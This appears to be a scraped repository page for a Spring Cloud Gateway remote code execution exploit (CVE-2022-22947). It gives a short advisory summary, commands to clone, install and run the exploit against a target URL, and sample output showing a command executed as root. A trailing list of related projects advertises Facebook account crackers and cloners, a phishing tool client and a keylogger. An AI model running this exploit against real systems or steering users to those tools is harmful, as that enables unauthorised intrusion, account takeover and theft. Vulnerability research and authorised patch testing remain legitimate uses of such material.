Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

AutoScan 有多个目标时，调用xray+rad进行自动扫描

MS-FSRVP coercion abuse PoC

Client script for the fisherman phishing tool

Generates password lists/dictionaries based on keywords written in python3.

A simple linux keylogger project.

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

Dlint is a tool for encouraging best coding practices and helping ensure Python code is secure.

This is a multi-password‌ cracking tool that can help you hack facebook accounts very quickly

Local File Inclusion Scanner and Exploiter

Automatically fetch, measure, and merge subscription links on the network, use Github Action

Better-rtti-parser - IDA script to parse RTTI information in executable

Port scanning tool that uses Python3. Created by Noble Wilson

MainCoon - an automated recon framework

This repo explains in details about buffer overflow exploit development for windows executable.

NEW FACEBOOK CLONER WITH NEW PASSWORD, TERMUX FB CLONE, FB CLONING COMMAND. M

Vulnerability Exploitation Code Collection Repository

ProxyLogon Pre-Auth SSRF To Arbitrary File Write

解密哥斯拉webshell管理工具流量

MassStringer, CTF Flag Finder

Unicode fuzzer for various purposes